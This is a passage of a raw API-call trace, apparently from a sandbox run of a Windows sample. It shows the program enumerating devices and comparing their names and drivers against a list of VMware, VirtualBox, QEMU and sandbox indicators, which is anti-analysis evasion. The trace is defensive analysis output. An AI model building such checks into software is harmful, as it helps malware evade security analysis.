PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.474] GetLastError () returned 0xd [0278.474] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x1a, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.474] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.479] GetLastError () returned 0x7a [0278.479] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x2c) returned 0x26ef908 [0278.479] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x16, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.484] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa08 [0278.484] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Pointing") returned 0x0 [0278.484] lstrlenA (lpString="VMware Pointing") returned 15 [0278.485] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0278.485] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef940 [0278.485] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Accelerated") returned 0x0 [0278.485] lstrlenA (lpString="VMware Accelerated") returned 18 [0278.485] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0278.485] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb28 [0278.485] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware SCSI") returned 0x0 [0278.485] lstrlenA (lpString="VMware SCSI") returned 11 [0278.485] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0278.485] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa38 [0278.485] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware SVGA") returned 0x0 [0278.485] lstrlenA (lpString="VMware SVGA") returned 11 [0278.485] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0278.485] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa20 [0278.485] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Replay") returned 0x0 [0278.485] lstrlenA (lpString="VMware Replay") returned 13 [0278.485] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0278.485] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef940 [0278.485] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware server memory") returned 0x0 [0278.486] lstrlenA (lpString="VMware server memory") returned 20 [0278.486] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0278.486] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0278.486] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="CWSandbox") returned 0x0 [0278.486] lstrlenA (lpString="CWSandbox") returned 9 [0278.486] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0278.486] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa98 [0278.486] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="Virtual HD") returned 0x0 [0278.486] lstrlenA (lpString="Virtual HD") returned 10 [0278.486] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0278.486] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef7a8 [0278.486] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="QEMU") returned 0x0 [0278.486] lstrlenA (lpString="QEMU") returned 4 [0278.486] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7a8 | out: hHeap=0x2670000) returned 1 [0278.486] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa38 [0278.486] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0278.486] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0278.486] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0278.486] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb58 [0278.486] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="srootkit") returned 0x0 [0278.486] lstrlenA (lpString="srootkit") returned 8 [0278.487] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0278.487] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efac8 [0278.487] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware VMaudio") returned 0x0 [0278.487] lstrlenA (lpString="VMware VMaudio") returned 14 [0278.487] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0278.487] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb88 [0278.487] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VMware Vista") returned 0x0 [0278.487] lstrlenA (lpString="VMware Vista") returned 12 [0278.487] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0278.487] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb58 [0278.487] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VBoxVideo") returned 0x0 [0278.487] lstrlenA (lpString="VBoxVideo") returned 9 [0278.487] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0278.487] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0278.488] StrStrIA (lpFirst="ACPI ????? ????? ????", lpSrch="VBoxGuest") returned 0x0 [0278.488] lstrlenA (lpString="VBoxGuest") returned 9 [0278.488] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0278.488] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0278.488] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.488] GetLastError () returned 0xd [0278.488] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x1b, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.488] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.537] GetLastError () returned 0x7a [0278.537] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x32) returned 0x26ef908 [0278.537] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x19, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.540] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26ef9f0 [0278.541] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Pointing") returned 0x0 [0278.541] lstrlenA (lpString="VMware Pointing") returned 15 [0278.541] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0278.541] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef948 [0278.541] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Accelerated") returned 0x0 [0278.541] lstrlenA (lpString="VMware Accelerated") returned 18 [0278.541] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0278.541] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb88 [0278.541] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SCSI") returned 0x0 [0278.541] lstrlenA (lpString="VMware SCSI") returned 11 [0278.541] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0278.541] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efaf8 [0278.541] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SVGA") returned 0x0 [0278.541] lstrlenA (lpString="VMware SVGA") returned 11 [0278.541] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0278.541] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efab0 [0278.541] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Replay") returned 0x0 [0278.542] lstrlenA (lpString="VMware Replay") returned 13 [0278.542] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0278.542] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef948 [0278.542] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware server memory") returned 0x0 [0278.542] lstrlenA (lpString="VMware server memory") returned 20 [0278.542] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0278.542] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb40 [0278.542] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="CWSandbox") returned 0x0 [0278.542] lstrlenA (lpString="CWSandbox") returned 9 [0278.542] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0278.542] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb58 [0278.542] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Virtual HD") returned 0x0 [0278.542] lstrlenA (lpString="Virtual HD") returned 10 [0278.542] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0278.542] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef778 [0278.542] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="QEMU") returned 0x0 [0278.542] lstrlenA (lpString="QEMU") returned 4 [0278.542] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef778 | out: hHeap=0x2670000) returned 1 [0278.542] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb28 [0278.542] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Red Hat VirtIO") returned 0x0 [0278.542] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0278.543] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0278.543] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efab0 [0278.543] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="srootkit") returned 0x0 [0278.543] lstrlenA (lpString="srootkit") returned 8 [0278.543] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0278.543] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa50 [0278.543] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware VMaudio") returned 0x0 [0278.543] lstrlenA (lpString="VMware VMaudio") returned 14 [0278.543] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0278.543] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb10 [0278.543] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Vista") returned 0x0 [0278.543] lstrlenA (lpString="VMware Vista") returned 12 [0278.543] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0278.543] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0278.543] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxVideo") returned 0x0 [0278.543] lstrlenA (lpString="VBoxVideo") returned 9 [0278.543] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0278.543] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efae0 [0278.543] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxGuest") returned 0x0 [0278.543] lstrlenA (lpString="VBoxGuest") returned 9 [0278.544] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0278.544] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0278.544] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.544] GetLastError () returned 0x7a [0278.544] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1a) returned 0x26ef908 [0278.544] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.545] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef738 [0278.545] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmxnet") returned 0x0 [0278.545] lstrlenA (lpString="vmxnet") returned 6 [0278.545] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef738 | out: hHeap=0x2670000) returned 1 [0278.545] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7d8 [0278.545] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmscsi") returned 0x0 [0278.545] lstrlenA (lpString="vmscsi") returned 6 [0278.545] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0278.545] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef888 [0278.545] StrStrIA (lpFirst="BasicDisplay", lpSrch="VMAUDIO") returned 0x0 [0278.545] lstrlenA (lpString="VMAUDIO") returned 7 [0278.545] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0278.545] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef728 [0278.545] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmdebug") returned 0x0 [0278.545] lstrlenA (lpString="vmdebug") returned 7 [0278.545] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0278.546] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8b8 [0278.546] StrStrIA (lpFirst="BasicDisplay", lpSrch="vm3dmp") returned 0x0 [0278.546] lstrlenA (lpString="vm3dmp") returned 6 [0278.546] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8b8 | out: hHeap=0x2670000) returned 1 [0278.546] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efac8 [0278.546] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmrawdsk") returned 0x0 [0278.546] lstrlenA (lpString="vmrawdsk") returned 8 [0278.546] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0278.546] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efba0 [0278.546] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmx_svga") returned 0x0 [0278.546] lstrlenA (lpString="vmx_svga") returned 8 [0278.546] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0278.546] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef838 [0278.546] StrStrIA (lpFirst="BasicDisplay", lpSrch="ansfltr") returned 0x0 [0278.546] lstrlenA (lpString="ansfltr") returned 7 [0278.546] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef838 | out: hHeap=0x2670000) returned 1 [0278.546] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef888 [0278.546] StrStrIA (lpFirst="BasicDisplay", lpSrch="sbtisht") returned 0x0 [0278.546] lstrlenA (lpString="sbtisht") returned 7 [0278.546] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0278.546] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0278.546] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x1c, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0278.547] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.665] GetLastError () returned 0x7a [0278.665] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef908 [0278.665] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0278.754] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa80 [0278.754] StrStrIA (lpFirst="HID ?????", lpSrch="VMware Pointing") returned 0x0 [0278.754] lstrlenA (lpString="VMware Pointing") returned 15 [0278.754] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0278.754] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef928 [0278.754] StrStrIA (lpFirst="HID ?????", lpSrch="VMware Accelerated") returned 0x0 [0278.754] lstrlenA (lpString="VMware Accelerated") returned 18 [0278.754] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0278.754] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efac8 [0278.754] StrStrIA (lpFirst="HID ?????", lpSrch="VMware SCSI") returned 0x0 [0278.754] lstrlenA (lpString="VMware SCSI") returned 11 [0278.754] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0278.754] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb58 [0278.755] StrStrIA (lpFirst="HID ?????", lpSrch="VMware SVGA") returned 0x0 [0278.755] lstrlenA (lpString="VMware SVGA") returned 11 [0278.755] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0278.755] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efba0 [0278.755] StrStrIA (lpFirst="HID ?????", lpSrch="VMware Replay") returned 0x0 [0278.755] lstrlenA (lpString="VMware Replay") returned 13 [0278.755] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0278.755] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef928 [0278.755] StrStrIA (lpFirst="HID ?????", lpSrch="VMware server memory") returned 0x0 [0278.755] lstrlenA (lpString="VMware server memory") returned 20 [0278.755] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0278.755] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efba0 [0278.755] StrStrIA (lpFirst="HID ?????", lpSrch="CWSandbox") returned 0x0 [0278.755] lstrlenA (lpString="CWSandbox") returned 9 [0278.755] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0278.755] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efab0 [0278.755] StrStrIA (lpFirst="HID ?????", lpSrch="Virtual HD") returned 0x0 [0278.755] lstrlenA (lpString="Virtual HD") returned 10 [0278.755] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0278.755] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef768 [0278.755] StrStrIA (lpFirst="HID ?????", lpSrch="QEMU") returned 0x0 [0278.755] lstrlenA (lpString="QEMU") returned 4 [0278.755] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0278.755] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa80 [0278.755] StrStrIA (lpFirst="HID ?????", lpSrch="Red Hat VirtIO") returned 0x0 [0278.756] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0278.756] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0278.756] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efbb8 [0278.756] StrStrIA (lpFirst="HID ?????", lpSrch="srootkit") returned 0x0 [0278.756] lstrlenA (lpString="srootkit") returned 8 [0278.756] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0278.756] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efab0 [0278.756] StrStrIA (lpFirst="HID ?????", lpSrch="VMware VMaudio") returned 0x0 [0278.756] lstrlenA (lpString="VMware VMaudio") returned 14 [0278.756] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0278.756] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa98 [0278.756] StrStrIA (lpFirst="HID ?????", lpSrch="VMware Vista") returned 0x0 [0278.756] lstrlenA (lpString="VMware Vista") returned 12 [0278.756] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0278.756] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb40 [0278.756] StrStrIA (lpFirst="HID ?????", lpSrch="VBoxVideo") returned 0x0 [0278.756] lstrlenA (lpString="VBoxVideo") returned 9 [0278.756] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0278.756] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0278.756] StrStrIA (lpFirst="HID ?????", lpSrch="VBoxGuest") returned 0x0 [0278.756] lstrlenA (lpString="VBoxGuest") returned 9 [0278.756] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0278.756] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0278.756] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0278.757] GetLastError () returned 0x7a [0278.757] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efae0 [0278.757] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, RequiredSize=0x19fe7c) returned 1 [0278.757] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef838 [0278.757] StrStrIA (lpFirst="mouhid", lpSrch="vmxnet") returned 0x0 [0278.757] lstrlenA (lpString="vmxnet") returned 6 [0278.758] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef838 | out: hHeap=0x2670000) returned 1 [0278.758] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8e8 [0278.758] StrStrIA (lpFirst="mouhid", lpSrch="vmscsi") returned 0x0 [0278.758] lstrlenA (lpString="vmscsi") returned 6 [0278.758] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8e8 | out: hHeap=0x2670000) returned 1 [0278.758] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7c8 [0278.758] StrStrIA (lpFirst="mouhid", lpSrch="VMAUDIO") returned 0x0 [0278.758] lstrlenA (lpString="VMAUDIO") returned 7 [0278.758] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7c8 | out: hHeap=0x2670000) returned 1 [0278.758] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef768 [0278.758] StrStrIA (lpFirst="mouhid", lpSrch="vmdebug") returned 0x0 [0278.758] lstrlenA (lpString="vmdebug") returned 7 [0278.758] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef768 | out: hHeap=0x2670000) returned 1 [0278.758] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8a8 [0278.758] StrStrIA (lpFirst="mouhid", lpSrch="vm3dmp") returned 0x0 [0278.758] lstrlenA (lpString="vm3dmp") returned 6 [0278.758] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8a8 | out: hHeap=0x2670000) returned 1 [0278.758] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb28 [0278.758] StrStrIA (lpFirst="mouhid", lpSrch="vmrawdsk") returned 0x0 [0278.758] lstrlenA (lpString="vmrawdsk") returned 8 [0278.758] HeapFree (in: 